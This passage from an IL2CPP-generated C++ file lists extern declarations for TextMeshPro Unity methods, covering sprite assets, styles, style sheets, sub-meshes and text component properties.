// 0x00000429 System.Void TMPro.TMP_SpriteAsset::SortGlyphAndCharacterTables()
extern void TMP_SpriteAsset_SortGlyphAndCharacterTables_mEFA1D54654552CA29AD602DB21D6320A396C9E4B (void);
// 0x0000042A System.Void TMPro.TMP_SpriteAsset::UpgradeSpriteAsset()
extern void TMP_SpriteAsset_UpgradeSpriteAsset_mE4C0306402DA32DC3C4BCC8FD11F6C8D35FF2E54 (void);
// 0x0000042B System.Void TMPro.TMP_SpriteAsset::.ctor()
extern void TMP_SpriteAsset__ctor_mE12AAD30F24A6007B20DAE40E64FFDB78BEE8E12 (void);
// 0x0000042C System.Void TMPro.TMP_SpriteAsset/<>c::.cctor()
extern void U3CU3Ec__cctor_m1731BDDD686E65BCAA7330E7E94AFF57A7397955 (void);
// 0x0000042D System.Void TMPro.TMP_SpriteAsset/<>c::.ctor()
extern void U3CU3Ec__ctor_m8DEE5249803AAEB1971F104609B40E1327C4B13E (void);
// 0x0000042E System.UInt32 TMPro.TMP_SpriteAsset/<>c::<SortGlyphTable>b__40_0(TMPro.TMP_SpriteGlyph)
extern void U3CU3Ec_U3CSortGlyphTableU3Eb__40_0_m51F7FC32BA4529C5284CC0DC3572FAA3257AD8A3 (void);
// 0x0000042F System.UInt32 TMPro.TMP_SpriteAsset/<>c::<SortCharacterTable>b__41_0(TMPro.TMP_SpriteCharacter)
extern void U3CU3Ec_U3CSortCharacterTableU3Eb__41_0_mECA45EB0A1A8B501039633E87B1A71903857445E (void);
// 0x00000430 System.String TMPro.TMP_SpriteCharacter::get_name()
extern void TMP_SpriteCharacter_get_name_m207A7AF57DA74FCC9409AEA2E8581FF4009512A4 (void);
// 0x00000431 System.Void TMPro.TMP_SpriteCharacter::set_name(System.String)
extern void TMP_SpriteCharacter_set_name_m5893C4B6DF938F2E6BB37C578C3B7AB8501F079A (void);
// 0x00000432 System.Int32 TMPro.TMP_SpriteCharacter::get_hashCode()
extern void TMP_SpriteCharacter_get_hashCode_mD0A6D291E2DEC9D29C0E6715C4497765E0AB384F (void);
// 0x00000433 System.Void TMPro.TMP_SpriteCharacter::.ctor()
extern void TMP_SpriteCharacter__ctor_mC81C5F64670E2A27460B808E9685102BD9CFDACD (void);
// 0x00000434 System.Void TMPro.TMP_SpriteCharacter::.ctor(System.UInt32,TMPro.TMP_SpriteGlyph)
extern void TMP_SpriteCharacter__ctor_m8F33DB3BDCC21B35CAD05BAC8D9DCCADF861DDB2 (void);
// 0x00000435 System.Void TMPro.TMP_SpriteCharacter::.ctor(System.UInt32,TMPro.TMP_SpriteAsset,TMPro.TMP_SpriteGlyph)
extern void TMP_SpriteCharacter__ctor_mE00D2BBE2D3FF0E47A84EF5D0B8C57AB1153FEB8 (void);
// 0x00000436 System.Void TMPro.TMP_SpriteCharacter::.ctor(System.UInt32,System.UInt32)
extern void TMP_SpriteCharacter__ctor_m12DB9C781228C5D5DDF21E578BE48BDBDE0CD4C6 (void);
// 0x00000437 System.Void TMPro.TMP_SpriteGlyph::.ctor()
extern void TMP_SpriteGlyph__ctor_mE15D3E35E9F68B201CD34569F3A19B22D980D5DE (void);
// 0x00000438 System.Void TMPro.TMP_SpriteGlyph::.ctor(System.UInt32,UnityEngine.TextCore.GlyphMetrics,UnityEngine.TextCore.GlyphRect,System.Single,System.Int32)
extern void TMP_SpriteGlyph__ctor_mDFAB2320924E4687FED7E3BA2E1F551ED05B9D36 (void);
// 0x00000439 System.Void TMPro.TMP_SpriteGlyph::.ctor(System.UInt32,UnityEngine.TextCore.GlyphMetrics,UnityEngine.TextCore.GlyphRect,System.Single,System.Int32,UnityEngine.Sprite)
extern void TMP_SpriteGlyph__ctor_m8FFB4374AE9F72ABC4E3B7A50FEF593CA2736348 (void);
// 0x0000043A TMPro.TMP_Style TMPro.TMP_Style::get_NormalStyle()
extern void TMP_Style_get_NormalStyle_m4C80CBA871A23EC62520C30F303988B010ABBBDA (void);
// 0x0000043B System.String TMPro.TMP_Style::get_name()
extern void TMP_Style_get_name_mBA0F1FE80A39D071DC286A2BE674203BE59926E8 (void);
// 0x0000043C System.Void TMPro.TMP_Style::set_name(System.String)
extern void TMP_Style_set_name_m2FCB28B0836C6BE1D8F460538D450295EF6CB80F (void);
// 0x0000043D System.Int32 TMPro.TMP_Style::get_hashCode()
extern void TMP_Style_get_hashCode_m19EC41583BBC799AC118324ED1A0405E26990E85 (void);
// 0x0000043E System.Void TMPro.TMP_Style::set_hashCode(System.Int32)
extern void TMP_Style_set_hashCode_m2EC34153FFE0E3D2CD13138A29A87D13F21D4147 (void);
// 0x0000043F System.String TMPro.TMP_Style::get_styleOpeningDefinition()
extern void TMP_Style_get_styleOpeningDefinition_m24394DAB1ADA5D1F7D1A386CED1C51D46BD50B8B (void);
// 0x00000440 System.String TMPro.TMP_Style::get_styleClosingDefinition()
extern void TMP_Style_get_styleClosingDefinition_mA23115F2648B0A6B4AABE9E4043A4A272509209A (void);
// 0x00000441 System.Int32[] TMPro.TMP_Style::get_styleOpeningTagArray()
extern void TMP_Style_get_styleOpeningTagArray_mB7640D4E0C5A8EF7E1C46AFEFC98909A642ACCC7 (void);
// 0x00000442 System.Int32[] TMPro.TMP_Style::get_styleClosingTagArray()
extern void TMP_Style_get_styleClosingTagArray_m286697AF575989E08FA185934FCCA3CD54565A8B (void);
// 0x00000443 System.Void TMPro.TMP_Style::.ctor(System.String,System.String,System.String)
extern void TMP_Style__ctor_mBC114846B015F0C6F9DEF28EF765BED9947538F1 (void);
// 0x00000444 System.Void TMPro.TMP_Style::RefreshStyle()
extern void TMP_Style_RefreshStyle_m90C4C9D26FDE915FE8C6F307E0A4AE2F09BB9C25 (void);
// 0x00000445 System.Collections.Generic.List`1<TMPro.TMP_Style> TMPro.TMP_StyleSheet::get_styles()
extern void TMP_StyleSheet_get_styles_mD3FB628CE8162DD6F8532FC5B8AF64409E0A9DB7 (void);
// 0x00000446 System.Void TMPro.TMP_StyleSheet::Reset()
extern void TMP_StyleSheet_Reset_mCA48D63055490174046D802C414CD6A5E7291E63 (void);
// 0x00000447 TMPro.TMP_Style TMPro.TMP_StyleSheet::GetStyle(System.Int32)
extern void TMP_StyleSheet_GetStyle_m1A066C8EB0E74AE5D84DEC570BFE301D45FAE078 (void);
// 0x00000448 TMPro.TMP_Style TMPro.TMP_StyleSheet::GetStyle(System.String)
extern void TMP_StyleSheet_GetStyle_m14703829269D37F3E69B1DCDA0C508A1DFC4F9A1 (void);
// 0x00000449 System.Void TMPro.TMP_StyleSheet::RefreshStyles()
extern void TMP_StyleSheet_RefreshStyles_m5F93989FB986DE16268D2F70D2F9855612547458 (void);
// 0x0000044A System.Void TMPro.TMP_StyleSheet::LoadStyleDictionaryInternal()
extern void TMP_StyleSheet_LoadStyleDictionaryInternal_m54F7544F778ACD234CE8DC6FEEB3F33E6FD28B69 (void);
// 0x0000044B System.Void TMPro.TMP_StyleSheet::.ctor()
extern void TMP_StyleSheet__ctor_mD3DFB99F53DB503018B1613AB6EE21E75512754C (void);
// 0x0000044C TMPro.TMP_FontAsset TMPro.TMP_SubMesh::get_fontAsset()
extern void TMP_SubMesh_get_fontAsset_mE8BD0B068366708271FE9EEA521C6A66B0D2D70A (void);
// 0x0000044D System.Void TMPro.TMP_SubMesh::set_fontAsset(TMPro.TMP_FontAsset)
extern void TMP_SubMesh_set_fontAsset_m72B98C846C0BED1F95B642359D9B682E6B99FD5A (void);
// 0x0000044E TMPro.TMP_SpriteAsset TMPro.TMP_SubMesh::get_spriteAsset()
extern void TMP_SubMesh_get_spriteAsset_mA42C14F49819531B0C7F9A516FDF98CB64B7E8F8 (void);
// 0x0000044F System.Void TMPro.TMP_SubMesh::set_spriteAsset(TMPro.TMP_SpriteAsset)
extern void TMP_SubMesh_set_spriteAsset_m8090A6E45EB4780476223BF53115ECF3B5297F9B (void);
// 0x00000450 UnityEngine.Material TMPro.TMP_SubMesh::get_material()
extern void TMP_SubMesh_get_material_mC2E739573C72E85402DEEDC8BA589146E7738A2D (void);
// 0x00000451 System.Void TMPro.TMP_SubMesh::set_material(UnityEngine.Material)
extern void TMP_SubMesh_set_material_mAD78A696DADACDF54AAB0347F520B7F848E0E517 (void);
// 0x00000452 UnityEngine.Material TMPro.TMP_SubMesh::get_sharedMaterial()
extern void TMP_SubMesh_get_sharedMaterial_mDBA65AAA3DF5B047D8A05CF00CBDCC0B22E18957 (void);
// 0x00000453 System.Void TMPro.TMP_SubMesh::set_sharedMaterial(UnityEngine.Material)
extern void TMP_SubMesh_set_sharedMaterial_m39D3800DFDB361235F85066E08FEE26CAD12461B (void);
// 0x00000454 UnityEngine.Material TMPro.TMP_SubMesh::get_fallbackMaterial()
extern void TMP_SubMesh_get_fallbackMaterial_m56ADAE065A5B9822474BA92763B325D752C6410B (void);
// 0x00000455 System.Void TMPro.TMP_SubMesh::set_fallbackMaterial(UnityEngine.Material)
extern void TMP_SubMesh_set_fallbackMaterial_m834BFAF4851FD7EC116808334791B57D3EA4BF13 (void);
// 0x00000456 UnityEngine.Material TMPro.TMP_SubMesh::get_fallbackSourceMaterial()
extern void TMP_SubMesh_get_fallbackSourceMaterial_mC434387C192AA72EA046F1B87CFF73547C6C1020 (void);
// 0x00000457 System.Void TMPro.TMP_SubMesh::set_fallbackSourceMaterial(UnityEngine.Material)
extern void TMP_SubMesh_set_fallbackSourceMaterial_m42EC6CD630C1E531012C8FE7C042D17E3D4B67BD (void);
// 0x00000458 System.Boolean TMPro.TMP_SubMesh::get_isDefaultMaterial()
extern void TMP_SubMesh_get_isDefaultMaterial_m9674DD519EB470FEA52B2BA0D88C03342B93037B (void);
// 0x00000459 System.Void TMPro.TMP_SubMesh::set_isDefaultMaterial(System.Boolean)
extern void TMP_SubMesh_set_isDefaultMaterial_m519BA7D8650EF98CB6113FC8AAA48BA76EB1C584 (void);
// 0x0000045A System.Single TMPro.TMP_SubMesh::get_padding()
extern void TMP_SubMesh_get_padding_mF12E331397602A9A39ECB674B02412668752F766 (void);
// 0x0000045B System.Void TMPro.TMP_SubMesh::set_padding(System.Single)
extern void TMP_SubMesh_set_padding_m3004519034FED4E8DAB9A37118B7F624E55E5D85 (void);
// 0x0000045C UnityEngine.Renderer TMPro.TMP_SubMesh::get_renderer()
extern void TMP_SubMesh_get_renderer_m57EDD2B2B7742D389E019F7D81BFCD7BDA468013 (void);
// 0x0000045D UnityEngine.MeshFilter TMPro.TMP_SubMesh::get_meshFilter()
extern void TMP_SubMesh_get_meshFilter_m84185B727B379F28F2955070CBF99AA14339F34E (void);
// 0x0000045E UnityEngine.Mesh TMPro.TMP_SubMesh::get_mesh()
extern void TMP_SubMesh_get_mesh_m9AF8E94AA6D6A9B47B76EE0B88A75BCECE8F43EB (void);
// 0x0000045F System.Void TMPro.TMP_SubMesh::set_mesh(UnityEngine.Mesh)
extern void TMP_SubMesh_set_mesh_mCE8299D19097FA2472DCEFA3AA07F5AE7D3600DA (void);
// 0x00000460 TMPro.TMP_Text TMPro.TMP_SubMesh::get_textComponent()
extern void TMP_SubMesh_get_textComponent_m0432A85ED37E13DB37CE87B0A09C7C9B5C1369D6 (void);
// 0x00000461 TMPro.TMP_SubMesh TMPro.TMP_SubMesh::AddSubTextObject(TMPro.TextMeshPro,TMPro.MaterialReference)
extern void TMP_SubMesh_AddSubTextObject_mD7C4691E9023677CE2C4954BFB2C97DFA8AB7D78 (void);
// 0x00000462 System.Void TMPro.TMP_SubMesh::OnEnable()
extern void TMP_SubMesh_OnEnable_mB044C518B33D5CB3C040D552994581FA754DE233 (void);
// 0x00000463 System.Void TMPro.TMP_SubMesh::OnDisable()
extern void TMP_SubMesh_OnDisable_m2A63ACC5E996C6AC1D2A3358972B6592F0B6856C (void);
// 0x00000464 System.Void TMPro.TMP_SubMesh::OnDestroy()
extern void TMP_SubMesh_OnDestroy_m50A083A81A84781BF0700B1A63B8AAB83C0EBFAD (void);
// 0x00000465 System.Void TMPro.TMP_SubMesh::DestroySelf()
extern void TMP_SubMesh_DestroySelf_mB9BF2C94B673B284DB58D13EAD1E6798129B7B55 (void);
// 0x00000466 UnityEngine.Material TMPro.TMP_SubMesh::GetMaterial(UnityEngine.Material)
extern void TMP_SubMesh_GetMaterial_m7FA3D54A057606FA90DC3841AAD76C3877BBDA54 (void);
// 0x00000467 UnityEngine.Material TMPro.TMP_SubMesh::CreateMaterialInstance(UnityEngine.Material)
extern void TMP_SubMesh_CreateMaterialInstance_mCBD7450E65428732A15ADD20F0A5BE7EA1DBF2BA (void);
// 0x00000468 UnityEngine.Material TMPro.TMP_SubMesh::GetSharedMaterial()
extern void TMP_SubMesh_GetSharedMaterial_m7C37BF890F16727019DF5A7EA36FABE4E5D21F42 (void);
// 0x00000469 System.Void TMPro.TMP_SubMesh::SetSharedMaterial(UnityEngine.Material)
extern void TMP_SubMesh_SetSharedMaterial_m894423F785E34D24902F385582889CF9170CEA4F (void);
// 0x0000046A System.Single TMPro.TMP_SubMesh::GetPaddingForMaterial()
extern void TMP_SubMesh_GetPaddingForMaterial_mE7297313C36D02A7879790C4EEA21551B52B9544 (void);
// 0x0000046B System.Void TMPro.TMP_SubMesh::UpdateMeshPadding(System.Boolean,System.Boolean)
extern void TMP_SubMesh_UpdateMeshPadding_mC15404FE24CC51BCA2D8BC8B7A15934FF71ACAAF (void);
// 0x0000046C System.Void TMPro.TMP_SubMesh::SetVerticesDirty()
extern void TMP_SubMesh_SetVerticesDirty_m55CA9BE0F62ED78693A82CD3A583FA24F1C734B1 (void);
// 0x0000046D System.Void TMPro.TMP_SubMesh::SetMaterialDirty()
extern void TMP_SubMesh_SetMaterialDirty_mF4015AA542DC6AF1A7E554CF66A42AB0939D826C (void);
// 0x0000046E System.Void TMPro.TMP_SubMesh::UpdateMaterial()
extern void TMP_SubMesh_UpdateMaterial_mF2AA7298784A74354917AE11C33C06DF5EE48FD3 (void);
// 0x0000046F System.Void TMPro.TMP_SubMesh::.ctor()
extern void TMP_SubMesh__ctor_m94A6C004CCE46FD9B6DDFBBD8436B386594FABEF (void);
// 0x00000470 TMPro.TMP_FontAsset TMPro.TMP_SubMeshUI::get_fontAsset()
extern void TMP_SubMeshUI_get_fontAsset_mFA21AA0E69C872A2E9AD4F2F7A4E2E61B343275F (void);
// 0x00000471 System.Void TMPro.TMP_SubMeshUI::set_fontAsset(TMPro.TMP_FontAsset)
extern void TMP_SubMeshUI_set_fontAsset_m76AFB364ECE0D6CBD609CA2FC1BD28BBC09437A6 (void);
// 0x00000472 TMPro.TMP_SpriteAsset TMPro.TMP_SubMeshUI::get_spriteAsset()
extern void TMP_SubMeshUI_get_spriteAsset_m657B36AC1C3BFA60B17013CB401750F80719F7E4 (void);
// 0x00000473 System.Void TMPro.TMP_SubMeshUI::set_spriteAsset(TMPro.TMP_SpriteAsset)
extern void TMP_SubMeshUI_set_spriteAsset_m535AEEBE4A7548A93E6A252DF62C5BCC3578F05C (void);
// 0x00000474 UnityEngine.Texture TMPro.TMP_SubMeshUI::get_mainTexture()
extern void TMP_SubMeshUI_get_mainTexture_m812ABD578CE01020099166A3F9F63E31E635E4F1 (void);
// 0x00000475 UnityEngine.Material TMPro.TMP_SubMeshUI::get_material()
extern void TMP_SubMeshUI_get_material_mCEDB25BF8F4D1ADBDDE5E0D6A9D6BE34352B59C0 (void);
// 0x00000476 System.Void TMPro.TMP_SubMeshUI::set_material(UnityEngine.Material)
extern void TMP_SubMeshUI_set_material_m42EDB47D729254FE9BA1A521AD957ED2D9CED532 (void);
// 0x00000477 UnityEngine.Material TMPro.TMP_SubMeshUI::get_sharedMaterial()
extern void TMP_SubMeshUI_get_sharedMaterial_m9F6E8D48BE941352C6395CE6B25D1A026F9B1A50 (void);
// 0x00000478 System.Void TMPro.TMP_SubMeshUI::set_sharedMaterial(UnityEngine.Material)
extern void TMP_SubMeshUI_set_sharedMaterial_m76325941FAD77DA10D3BD3B85506D0473CD6DB2B (void);
// 0x00000479 UnityEngine.Material TMPro.TMP_SubMeshUI::get_fallbackMaterial()
extern void TMP_SubMeshUI_get_fallbackMaterial_mAF8B16164650A91CA244445F5717BCEA12B75CAE (void);
// 0x0000047A System.Void TMPro.TMP_SubMeshUI::set_fallbackMaterial(UnityEngine.Material)
extern void TMP_SubMeshUI_set_fallbackMaterial_mDABCF9FA80529D8A6452EBD3C9B52E1D4A8F6A08 (void);
// 0x0000047B UnityEngine.Material TMPro.TMP_SubMeshUI::get_fallbackSourceMaterial()
extern void TMP_SubMeshUI_get_fallbackSourceMaterial_m0CCD5224BD22B4AF5B8D7994040F7925FA047787 (void);
// 0x0000047C System.Void TMPro.TMP_SubMeshUI::set_fallbackSourceMaterial(UnityEngine.Material)
extern void TMP_SubMeshUI_set_fallbackSourceMaterial_m6176ADCD1C46E99F4FC95189D58B406397E54C0E (void);
// 0x0000047D UnityEngine.Material TMPro.TMP_SubMeshUI::get_materialForRendering()
extern void TMP_SubMeshUI_get_materialForRendering_m49CDCE464B0837AF4EAC89AF71B7CB8602BE1A27 (void);
// 0x0000047E System.Boolean TMPro.TMP_SubMeshUI::get_isDefaultMaterial()
extern void TMP_SubMeshUI_get_isDefaultMaterial_mF713B637150AA5A39FB25D9C296A0D2011A7F1E5 (void);
// 0x0000047F System.Void TMPro.TMP_SubMeshUI::set_isDefaultMaterial(System.Boolean)
extern void TMP_SubMeshUI_set_isDefaultMaterial_m1CA334C661C393A92BB29993C559F43FE899E525 (void);
// 0x00000480 System.Single TMPro.TMP_SubMeshUI::get_padding()
extern void TMP_SubMeshUI_get_padding_mFE0F475014CBD79033493C185323B095356C4D98 (void);
// 0x00000481 System.Void TMPro.TMP_SubMeshUI::set_padding(System.Single)
extern void TMP_SubMeshUI_set_padding_m8EF3F2C730BADF9C71D789E2B964A0FF0FBC44CD (void);
// 0x00000482 UnityEngine.Mesh TMPro.TMP_SubMeshUI::get_mesh()
extern void TMP_SubMeshUI_get_mesh_m18BAE0DB357DC5D7993D07BD826429AF727548E2 (void);
// 0x00000483 System.Void TMPro.TMP_SubMeshUI::set_mesh(UnityEngine.Mesh)
extern void TMP_SubMeshUI_set_mesh_m253BA01B0CF8F664D4C8910C746C56C863A76191 (void);
// 0x00000484 TMPro.TMP_Text TMPro.TMP_SubMeshUI::get_textComponent()
extern void TMP_SubMeshUI_get_textComponent_m899050C714DCF7C38409E40ACED46128426E5981 (void);
// 0x00000485 TMPro.TMP_SubMeshUI TMPro.TMP_SubMeshUI::AddSubTextObject(TMPro.TextMeshProUGUI,TMPro.MaterialReference)
extern void TMP_SubMeshUI_AddSubTextObject_mB2D0DDEA58C4A95B61E83C81FC9610D42091CC8F (void);
// 0x00000486 System.Void TMPro.TMP_SubMeshUI::OnEnable()
extern void TMP_SubMeshUI_OnEnable_m5FC1C2F3A131CDD8AEBE462F6E02F98C8EFD91A2 (void);
// 0x00000487 System.Void TMPro.TMP_SubMeshUI::OnDisable()
extern void TMP_SubMeshUI_OnDisable_m7E93F77D46B86974F82E651F1C5ABEC4965E7A19 (void);
// 0x00000488 System.Void TMPro.TMP_SubMeshUI::OnDestroy()
extern void TMP_SubMeshUI_OnDestroy_m9B06AF411C751749285D664C97E4534F8DB46421 (void);
// 0x00000489 System.Void TMPro.TMP_SubMeshUI::OnTransformParentChanged()
extern void TMP_SubMeshUI_OnTransformParentChanged_m1C0D38B644942ABCCE807FD0EDA40069FCD4F758 (void);
// 0x0000048A UnityEngine.Material TMPro.TMP_SubMeshUI::GetModifiedMaterial(UnityEngine.Material)
extern void TMP_SubMeshUI_GetModifiedMaterial_mE55896B318E1B14EA2E05E8B4C9B7395F889637A (void);
// 0x0000048B System.Single TMPro.TMP_SubMeshUI::GetPaddingForMaterial()
extern void TMP_SubMeshUI_GetPaddingForMaterial_m59C406EAAF3622C5C66AC02B57EE54017E6F80C9 (void);
// 0x0000048C System.Single TMPro.TMP_SubMeshUI::GetPaddingForMaterial(UnityEngine.Material)
extern void TMP_SubMeshUI_GetPaddingForMaterial_m5600CCCC50A30C965D5522C7CDC62559B1AACD3E (void);
// 0x0000048D System.Void TMPro.TMP_SubMeshUI::UpdateMeshPadding(System.Boolean,System.Boolean)
extern void TMP_SubMeshUI_UpdateMeshPadding_mFE485B3241997E25482483616D1B5482EA8BBC81 (void);
// 0x0000048E System.Void TMPro.TMP_SubMeshUI::SetAllDirty()
extern void TMP_SubMeshUI_SetAllDirty_m17BC0FAF84604A8419F055074E538D3B92D8DFEC (void);
// 0x0000048F System.Void TMPro.TMP_SubMeshUI::SetVerticesDirty()
extern void TMP_SubMeshUI_SetVerticesDirty_m6BC1FB6642A719D0B542920D87C47B91BCAE8F3D (void);
// 0x00000490 System.Void TMPro.TMP_SubMeshUI::SetLayoutDirty()
extern void TMP_SubMeshUI_SetLayoutDirty_mF9E12FA430FDF4CAB2142C256069206F66F4BE39 (void);
// 0x00000491 System.Void TMPro.TMP_SubMeshUI::SetMaterialDirty()
extern void TMP_SubMeshUI_SetMaterialDirty_m427E2E5CA2522811C510ADFB88183F5C7168C41E (void);
// 0x00000492 System.Void TMPro.TMP_SubMeshUI::SetPivotDirty()
extern void TMP_SubMeshUI_SetPivotDirty_m7CB8262E46A59A4309FB63BBDC85305DB66AC08C (void);
// 0x00000493 UnityEngine.Transform TMPro.TMP_SubMeshUI::GetRootCanvasTransform()
extern void TMP_SubMeshUI_GetRootCanvasTransform_m044D69EEDD595930E39EE9B58180440A1C318699 (void);
// 0x00000494 System.Void TMPro.TMP_SubMeshUI::Cull(UnityEngine.Rect,System.Boolean)
extern void TMP_SubMeshUI_Cull_mC2938541DF75ECBE0A20743633BB59E0E2FB2C8D (void);
// 0x00000495 System.Void TMPro.TMP_SubMeshUI::UpdateGeometry()
extern void TMP_SubMeshUI_UpdateGeometry_m8A12469615865F793E84FD08A01CA20C82344504 (void);
// 0x00000496 System.Void TMPro.TMP_SubMeshUI::Rebuild(UnityEngine.UI.CanvasUpdate)
extern void TMP_SubMeshUI_Rebuild_m157FB1223ADFBB21D2C66599D9130FF09687009A (void);
// 0x00000497 System.Void TMPro.TMP_SubMeshUI::RefreshMaterial()
extern void TMP_SubMeshUI_RefreshMaterial_mD91D017F05BFC8667A26179D17565E3411A0FE75 (void);
// 0x00000498 System.Void TMPro.TMP_SubMeshUI::UpdateMaterial()
extern void TMP_SubMeshUI_UpdateMaterial_m4147C455FDAE0B050969761CEA78CC665D2B162B (void);
// 0x00000499 System.Void TMPro.TMP_SubMeshUI::RecalculateClipping()
extern void TMP_SubMeshUI_RecalculateClipping_mAF6020BB8D612D61DD64C6B3A66E21B1ED27E629 (void);
// 0x0000049A UnityEngine.Material TMPro.TMP_SubMeshUI::GetMaterial()
extern void TMP_SubMeshUI_GetMaterial_mFE6F9315B7C5FCD8DC6F5B885D0DE5F6E860FD22 (void);
// 0x0000049B UnityEngine.Material TMPro.TMP_SubMeshUI::GetMaterial(UnityEngine.Material)
extern void TMP_SubMeshUI_GetMaterial_m42B838E7CFD90166E7AB6288140E0DDC42C5BFBD (void);
// 0x0000049C UnityEngine.Material TMPro.TMP_SubMeshUI::CreateMaterialInstance(UnityEngine.Material)
extern void TMP_SubMeshUI_CreateMaterialInstance_mC6A3BF4276D9FDB1120EDE06B688F57BD50012B2 (void);
// 0x0000049D UnityEngine.Material TMPro.TMP_SubMeshUI::GetSharedMaterial()
extern void TMP_SubMeshUI_GetSharedMaterial_m3D24E4226259E175D6BCB0D846D5D6D6BC2740D0 (void);
// 0x0000049E System.Void TMPro.TMP_SubMeshUI::SetSharedMaterial(UnityEngine.Material)
extern void TMP_SubMeshUI_SetSharedMaterial_m3E8AB169F4C47E062E3996E25F2F9D015FDAAA0C (void);
// 0x0000049F System.Void TMPro.TMP_SubMeshUI::.ctor()
extern void TMP_SubMeshUI__ctor_m9AA49928094650F82BE200A086839EA4DABF3D25 (void);
// 0x000004A0 UnityEngine.Material TMPro.ITextElement::get_sharedMaterial()
// 0x000004A1 System.Void TMPro.ITextElement::Rebuild(UnityEngine.UI.CanvasUpdate)
// 0x000004A2 System.Int32 TMPro.ITextElement::GetInstanceID()
// 0x000004A3 System.String TMPro.TMP_Text::get_text()
extern void TMP_Text_get_text_mF8371DA9FE7C67218422F6A5B5F4BAB1219EB22F (void);
// 0x000004A4 System.Void TMPro.TMP_Text::set_text(System.String)
extern void TMP_Text_set_text_m7802824EFC54A60A4FEF444FD34301663CF974EA (void);
// 0x000004A5 TMPro.ITextPreprocessor TMPro.TMP_Text::get_textPreprocessor()
extern void TMP_Text_get_textPreprocessor_m342C8D483950A64497716F34BCCA853A2D5D430C (void);
// 0x000004A6 System.Void TMPro.TMP_Text::set_textPreprocessor(TMPro.ITextPreprocessor)
extern void TMP_Text_set_textPreprocessor_mF26E0EFC2718F08112B9C4065EFB6C7D4322D56F (void);
// 0x000004A7 System.Boolean TMPro.TMP_Text::get_isRightToLeftText()
extern void TMP_Text_get_isRightToLeftText_m91867E4BBD159ACF669FF0103FB15194E5A35910 (void);
// 0x000004A8 System.Void TMPro.TMP_Text::set_isRightToLeftText(System.Boolean)
extern void TMP_Text_set_isRightToLeftText_m92473AB03681DE06DCE0845AE43B23F13FEF5D25 (void);
// 0x000004A9 TMPro.TMP_FontAsset TMPro.TMP_Text::get_font()
extern void TMP_Text_get_font_m1F5E907B9181A54212FBD8123242583C1CA4BE2A (void);
// 0x000004AA System.Void TMPro.TMP_Text::set_font(TMPro.TMP_FontAsset)
extern void TMP_Text_set_font_mC55E4A8C1C09595031384B35F2C2FB2FC3479E83 (void);
// 0x000004AB UnityEngine.Material TMPro.TMP_Text::get_fontSharedMaterial()
extern void TMP_Text_get_fontSharedMaterial_mF1F4B4A3379A9928CF2CD51835381B31C0976C82 (void);
// 0x000004AC System.Void TMPro.TMP_Text::set_fontSharedMaterial(UnityEngine.Material)
extern void TMP_Text_set_fontSharedMaterial_m4C3E1FAD0780FF04D2998177B794C773EE3B0DD7 (void);
// 0x000004AD UnityEngine.Material[] TMPro.TMP_Text::get_fontSharedMaterials()
extern void TMP_Text_get_fontSharedMaterials_m09C5F786FE99C75C954C548AFDED330C4785C4D3 (void);
// 0x000004AE System.Void TMPro.TMP_Text::set_fontSharedMaterials(UnityEngine.Material[])
extern void TMP_Text_set_fontSharedMaterials_mE82D24FE08F46E5E59438F51938A6B99D74EE376 (void);
// 0x000004AF UnityEngine.Material TMPro.TMP_Text::get_fontMaterial()
extern void TMP_Text_get_fontMaterial_m4EBEC9AF78B5B66C983A98F78948E753EE4DDFC6 (void);
// 0x000004B0 System.Void TMPro.TMP_Text::set_fontMaterial(UnityEngine.Material)
extern void TMP_Text_set_fontMaterial_m091675AB7E417CD77F8C69B3AEE5B78BBCF59922 (void);
// 0x000004B1 UnityEngine.Material[] TMPro.TMP_Text::get_fontMaterials()
extern void TMP_Text_get_fontMaterials_m354B3F7CF4AB2B7E38C2610D8403D14744286A55 (void);
// 0x000004B2 System.Void TMPro.TMP_Text::set_fontMaterials(UnityEngine.Material[])
extern void TMP_Text_set_fontMaterials_m0DC39367F86944E57BE16634A45225ACA97F461B (void);
// 0x000004B3 UnityEngine.Color TMPro.TMP_Text::get_color()
extern void TMP_Text_get_color_m4A843DBD73462B4EE0F823039AE9F8499102D9B5 (void);
// 0x000004B4 System.Void TMPro.TMP_Text::set_color(UnityEngine.Color)
extern void TMP_Text_set_color_m776196F566F4F8CD25263BB40CA2D3AE5F2D444B (void);
// 0x000004B5 System.Single TMPro.TMP_Text::get_alpha()
extern void TMP_Text_get_alpha_mF6093A9BEAC44060DA2CC7A61097DB99A25E7DAE (void);
// 0x000004B6 System.Void TMPro.TMP_Text::set_alpha(System.Single)
extern void TMP_Text_set_alpha_mD01D24A2E320F30E26BD42AEE8137F9C4F4EBB57 (void);
// 0x000004B7 System.Boolean TMPro.TMP_Text::get_enableVertexGradient()
extern void TMP_Text_get_enableVertexGradient_mB5CFDE007B14BB0425CEACA8FE33C8B2B29769A5 (void);
// 0x000004B8 System.Void TMPro.TMP_Text::set_enableVertexGradient(System.Boolean)
extern void TMP_Text_set_enableVertexGradient_m21A55C744B7BF817B6AA349FCB8C2AC54E8CCACA (void);
// 0x000004B9 TMPro.VertexGradient TMPro.TMP_Text::get_colorGradient()
extern void TMP_Text_get_colorGradient_m29541E9BEF4511BEEB2B4951E5BF07DA01AC9105 (void);
// 0x000004BA System.Void TMPro.TMP_Text::set_colorGradient(TMPro.VertexGradient)
extern void TMP_Text_set_colorGradient_m372D6EEDBE955EC7F33895F57E760802937808C8 (void);
// 0x000004BB TMPro.TMP_ColorGradient TMPro.TMP_Text::get_colorGradientPreset()
extern void TMP_Text_get_colorGradientPreset_mEA5E8B98E88641BE9437222F33DDCCB1B05566B7 (void);
// 0x000004BC System.Void TMPro.TMP_Text::set_colorGradientPreset(TMPro.TMP_ColorGradient)
extern void TMP_Text_set_colorGradientPreset_m21DD271B3D1ADF6E81ED68922809F158612A7B46 (void);
// 0x000004BD TMPro.TMP_SpriteAsset TMPro.TMP_Text::get_spriteAsset()
extern void TMP_Text_get_spriteAsset_m2D4DEEA11BF5B9DEBA1859A401A15C455529D07A (void);
// 0x000004BE System.Void TMPro.TMP_Text::set_spriteAsset(TMPro.TMP_SpriteAsset)
extern void TMP_Text_set_spriteAsset_mAA6F8F2CD83E208C185A30367CF7E308B5A1F750 (void);
// 0x000004BF System.Boolean TMPro.TMP_Text::get_tintAllSprites()
extern void TMP_Text_get_tintAllSprites_mFDB02B03D3513B536D47260FC9B5CCC8BB471C83 (void);
// 0x000004C0 System.Void TMPro.TMP_Text::set_tintAllSprites(System.Boolean)
extern void TMP_Text_set_tintAllSprites_mFFCB8F9B1E8C23016C460BC26024DAEC7CD49D65 (void);
// 0x000004C1 TMPro.TMP_StyleSheet TMPro.TMP_Text::get_styleSheet()
